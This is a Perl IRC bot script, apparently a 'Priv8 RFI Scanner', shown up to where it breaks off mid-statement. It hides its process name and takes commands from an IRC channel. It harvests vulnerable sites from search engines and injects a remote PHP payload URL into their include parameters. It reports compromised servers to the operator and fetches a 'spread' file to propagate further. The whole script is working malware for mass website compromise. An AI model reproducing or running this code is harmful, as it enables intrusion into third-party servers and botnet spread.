[code linenumbers=false]#!/usr/bin/perl

$process = "/usr/sbin/ddsl";
my $printcmd = ".:: c h i t o z ::.";
my $id = "http://oursoultvxq.com/bbs/data/bbs/chi.txt?";
my $spread = "http://oursoultvxq.com/bbs/data/bbs/spread.txt??";
my $ircserver = "irc.all-network.net";
my $start = "!scan";
my $port = "6667";
my $nickname = "killertoys" . int( rand(99) ) . "]";
my $admin = "chitoz";
my $channel = "#chitoz"; ## the normal chan to scan, and see the results too :P
my $chanres = "#chitoz"; ## the channel where u can find all the results of the bot
my $verz = "Priv8 RFI Scanner v7.0 chitoz version";

print "\n";
print " Priv 8 Scanner\n";
print " Author: chitoz\n";
print " Release $verz\n";
print " Server $ircserver:$port\n";
print " $channel and $chanres\n";
print " Enjoy ;)\n\n";

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;

my $pid = fork;
exit if $pid;
$0 = "$process" . "\0" x 16;
my $dsp = IO::Socket::INET->new(
PeerAddr => "$ircserver",
PeerPort => "$port",
Proto => "tcp"
) or die "Can not connect on server!\n";
$dsp->autoflush(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER infira 8 * : chitoz \r\n";
print $dsp "JOIN $channel\r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 Scaner by chitoz!! \r\n";
print $dsp "PRIVMSG $channel :8,1just type:9,1 !scan bug dork 0,1& 4,1!google bug dork \r\n";
print $dsp "PRIVMSG $channel :9,1Priv8 RFIScanner powered By chitoz® \r\n";
sleep(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER chitoz * : chitoz \r\n";
print $dsp "JOIN $chanres\r\n";
print $dsp "PRIVMSG $chanres :9,1result print in here :) \r\n";
print $dsp "PRIVMSG $chanres :9,1Priv8 RFIScanner powered By chitoz® \r\n";

while ( $line = <$dsp> ) {

$line =~ s/\r\n$//;
if ( $line =~ /^PING \:(.*)/ ) {
print "PONG :$1";
print $dsp "PONG :$1";
}

if ( $line =~ /PRIVMSG $channel :!help/ ) {
sleep(1);
display( $dsp,
"PRIVMSG $channel :9,1Working ..."
);
display( $dsp,
"PRIVMSG $channel :8,1[chitoz]9,1 Pentru a scana foloseste comanda :4,1 !scan bug dork & !google bug dork"
);
display( $dsp,
"PRIVMSG $channel :8,1[chitoz]9,1 Pentru informatii server tasteaza: 4,1!info"
);
}

if ( $line =~ /PRIVMSG $channel :!info/ ) {
my $sysos = `uname -sr`;
my $uptime = `uptime`;
if ( $sysos =~ /freebsd/i ) {
$sysname = `hostname`;
$memory =
`expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
$swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
chomp($memory);
chomp($swap);
}

elsif ( $sysos =~ /linux/i ) {
$sysname = `hostname -f`;
$memory = `free -m |grep -i mem | awk '{print \$2}'`;
$swap = `free -m |grep -i swap | awk '{print \$2}'`;
chomp($swap);
chomp($memory);
}
else {
$sysname = "No Found";
$memory = "No found";
$swap = "No Found";
}
$uptime =~ s/\n//g;
$sysname =~ s/\n//g;
$sysos =~ s/\n//g;
sleep(1);
display( $dsp,
"PRIVMSG $channel :9,1Working ..."
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Server: $ircserver Port: $port"
);
display( $dsp,
"PRIVMSG $channel :8,1[Info] 9,1Software: $sysos"
);
display( $dsp,
"PRIVMSG $channel :8,1[Info] 9,1Process/Pid:8,1 $process"
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Uptime: $uptime" );
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Memorie: $memory Swap: $swap"
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Creator: chitoz"
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Versiune: $verz"
);
}

if ( $line =~ /PRIVMSG $channel :!id/ )
{ ## ©© Scrphpbbt made by chitoz . Don't remove this comment !
my $testid = $id;
my $req = HTTP::Request->new( GET => $testid );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /<\?php/ ) {
sleep(1);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 id still UP powered by chitoz"
);
}
}
else {
sleep(1);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Id`ul nu este activ."
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Modifica setarile cu noul id."
);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Ruleaza din nou scannerul."
);
display( $dsp,
"PRIVMSG $channel :8,1[WARNING]9,1 Deconectare initiata."
);
sleep(2);
display( $dsp, "PRIVMSG $channel :8,1[WARNING]9,1 powered by chitoz" );
display( $dsp, "QUIT" );
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
sleep(1);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1Scanare pornita pentru: 4,1$dork"
);
my @google = &googlet($dork);
push( my @tot, @google );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1GOOGLE "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. " 9,1 pentru:4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1 Google a terminat pentru:4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: $un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: Free: $free , Used: $used , Total: $all"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: $pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;

my @google = &googlet($dork);
push( my @tot, @google );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1Google ByPASS "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. "  9,1pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :8,1[Info]9,1Google ByPASS a terminanat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :12(4hdd12) 12 Free: ($free) Used: ($used) Total: ($all) "
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :12(4php12) 12 $php1"
);
display( $dsp,
"PRIVMSG $channel :12(4software12) 12 $sof1 "
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :12(4server-name12) 12 $name1 "
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @alltheweb = &alltheweb($dork);
push( my @tot, @alltheweb );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1ALLTHEWEB "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. " 9,1pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1AllTheWeb a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @uol = &uolsub($dork);
push( my @tot, @uol );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1UOL "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. "  11pentru9,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1UOL a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @altavista = &altavista($dork);
push( my @tot, @allist, @alldeist, @allistus );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1ALTAVISTA "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. " 9,1pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1ALTAVISTA a terminat pentru9,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @searchlist = &search($dork);
my @search2 = &searchs($dork);
push( my @tot, @searchlist, @search2 );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1SEARCH "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. " 9,1 pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :9,1SEARCH a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
my $test2 =
"http://" . $site . $bug . $spread . "?";
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /chitoz/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
"PRIVMSG $channel :9,1PHP Vers: 8,1 $php1"
);
display( $dsp,
"PRIVMSG $channel :9,1Software: 8,1 $sof1"
);
display( $dsp,
"PRIVMSG $channel :9,1phpbb Addr: 8,1 $phpbb1"
);
display( $dsp,
"PRIVMSG $channel :9,1Hostname: 8,1 $name1"
);
display( $dsp,
"PRIVMSG $admin :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
display( $dsp,
"PRIVMSG $chanres :9,1Safemode:8,1 On 9,1Os: $os 8,1Link: $print"
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug = $1;
my $dork = $2;
my $contatore = 0;
my %hosts;
my @mlist = &msn($dork);
push( my @tot, @mlist );
my @puliti = &unici(@tot);
display( $dsp,
"PRIVMSG $channel :9,1MSN "
. scalar(@tot)
. " 9,1/9,1 "
. scalar(@puliti)
. "  9,1pentru4,1 $dork" );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni - 1 ) {
display( $dsp,
"PRIVMSG $channel :12MSN a terminat pentru4,1 $dork"
);
}
my $test = "http://" . $site . $bug . $id . "?";
my $print = "http://" . $site . $bug . $printcmd . "?";
my $req = HTTP::Request->new( GET => $test );
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /chitoz/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == "1" ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,
"PRIVMSG $channel :9,1Exploiting .."
);
display( $dsp,
"PRIVMSG $channel :9,1Safemode: 8,1Off 9,1Os: $os Link: $print"
);
display( $dsp,
"PRIVMSG $channel :9,1Uname -a: 8,1$un"
);
display( $dsp,
"PRIVMSG $channel :9,1HDD: 8,1Free: ($free) Used: ($used) Total: ($all)"
);
display( $dsp,
"PRIVMSG $channel :9,1Uptime: 8,1 $up"
);
display( $dsp,
"PRIVMSG $channel :9,1ID: $id1"
);
display( $dsp,
"PRIVMSG $channel :9,1PWD: 8,1$pwd1"
);
display( $dsp,
